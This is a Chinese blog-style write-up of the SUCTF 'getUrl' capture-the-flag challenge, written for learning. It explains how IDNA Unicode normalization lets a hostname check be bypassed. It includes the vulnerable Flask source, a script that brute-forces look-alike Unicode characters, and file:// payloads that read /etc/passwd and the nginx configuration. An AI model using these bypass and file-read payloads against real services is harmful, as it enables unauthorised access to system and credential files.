前言
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
题目
题目还给了个源码
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
s
大概就是需要绕过前2个if直到最后的if来进行读取任意文件,但这3个if都需要等于suctf.cc
我莫得办法了,去看了看wp,大佬说这是有关blackhat议题HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization的题目,议题PPT链接如下:
https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf
反正我是看不懂,但看了大佬的操作,差不多就明白一点了,无非就是当URL 中出现一些特殊字符的时候,输出的结果可能不在预期这句话。
大佬文章链接:https://www.cnblogs.com/Cl0ud/p/12187204.html
做法就是将suctf.cc
其中一个字符(这里做题选定的是该字符串最后一个字符c
),更改为其它特殊字符,再进行编码,便可达到逃逸该脚本构造的语句。
偷借大佬的脚本:
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass
def getUrl(url):
url=url
host=parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts=list(urlsplit(url))
host=parts[1]
if host == 'suctf.cc':
return False
newhost=[]
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1]='.'.join(newhost)
finalUrl=urlunsplit(parts).split(' ')[0]
host=parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False
if __name__=='__main__':
get_unicode()
可能讲述的会有些含糊,因为现在做题的我也是半知半懂,但是看了下面的payload可能就明白了
我们只需要用其中任意一个去读取文件就可以了
比如:
getUrl?url=file://suctf.c%E2%84%82/…/…/…/…/…/etc/passwd
url中原本最后一个c的位置,更改为类c的特殊字符就能查看任意文件
然后wp说需要看nginx的配置文件才能知道flag在哪里
getUrl?url=file://suctf.c%E2%84%82/…/…/…/…/…/…/usr/local/nginx/conf/nginx.conf
然后读取flag